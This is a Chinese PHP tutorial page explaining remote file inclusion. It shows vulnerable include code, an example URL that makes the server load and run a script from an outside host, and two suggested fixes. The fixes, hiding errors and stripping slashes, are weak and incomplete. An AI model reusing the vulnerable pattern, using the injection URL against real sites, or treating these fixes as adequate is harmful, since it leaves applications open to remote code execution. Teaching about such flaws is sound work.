PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
php邮件发送,php发送邮件的类
Mar 24 PHP
for循环连续求和、九九乘法表代码
Feb 20 PHP
根据中文裁减字符串函数的php代码
Dec 03 PHP
php中AES加密解密的例子小结
Feb 18 PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 PHP
ThinkPHP3.2.3数据库设置新特性
Mar 05 PHP
PHP cURL初始化和执行方法入门级代码
May 28 PHP
5款适合PHP使用的HTML编辑器推荐
Jul 03 PHP
php获取flash尺寸详细数据的方法
Nov 12 PHP
浅谈PHP安全防护之Web攻击
Jan 03 PHP
详谈PHP中public,private,protected,abstract等关键字的用法
Dec 31 PHP
thinkphp5实现微信扫码支付
Dec 23 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
php curl选项列表(超详细)
2013/07/01 PHP
CodeIgniter输出中文乱码的两种解决办法
2014/06/12 PHP
php获取文件类型和文件信息的方法
2015/07/10 PHP
ECSHOP完美解决Deprecated: preg_replace()报错的问题
2016/05/17 PHP
ext 同步和异步示例代码
2009/09/18 Javascript
javascript中clone对象详解
2014/12/03 Javascript
JavaScript实现标题栏文字轮播效果代码
2015/10/24 Javascript
javascript中tostring()和valueof()的用法及两者的区别
2015/11/16 Javascript
Bootstrap每天必学之js插件
2015/11/30 Javascript
AngularJs 动态加载模块和依赖
2016/09/15 Javascript
javascript实现二叉树的代码
2017/06/08 Javascript
小程序实现展开/收起的效果示例
2018/09/22 Javascript
原生js实现日历效果
2020/03/02 Javascript
详解python中的文件与目录操作
2017/07/11 Python
python Flask实现restful api service
2017/12/04 Python
python逆序打印各位数字的方法
2018/06/25 Python
Python中时间datetime的处理与转换用法总结
2019/02/18 Python
Python中format()格式输出全解
2019/04/12 Python
python将字符串转换成json的方法小结
2019/07/09 Python
用Python将Excel数据导入到SQL Server的例子
2019/08/24 Python
python3 requests库实现多图片爬取教程
2019/12/18 Python
在 Linux/Mac 下为Python函数添加超时时间的方法
2020/02/20 Python
Matlab使用Plot函数实现数据动态显示方法总结
2021/02/25 Python
eBay瑞士购物网站:eBay.ch
2018/12/24 全球购物
毕业生个人的求职信范文
2013/12/03 职场文书
门卫人员岗位职责
2013/12/24 职场文书
英语简历自我评价
2014/01/26 职场文书
黄继光的英雄事迹材料
2014/02/13 职场文书
高中打架检讨书
2014/02/13 职场文书
毕业生就业推荐表自我鉴定
2014/03/20 职场文书
共筑中国梦演讲稿
2014/04/23 职场文书
运动会拉拉队口号
2014/06/09 职场文书
合同范本之电脑出租
2019/08/13 职场文书
导游词之千岛湖
2019/09/23 职场文书
MySQL分库分表与分区的入门指南
2021/04/22 MySQL
教你用python控制安卓手机
2021/05/13 Python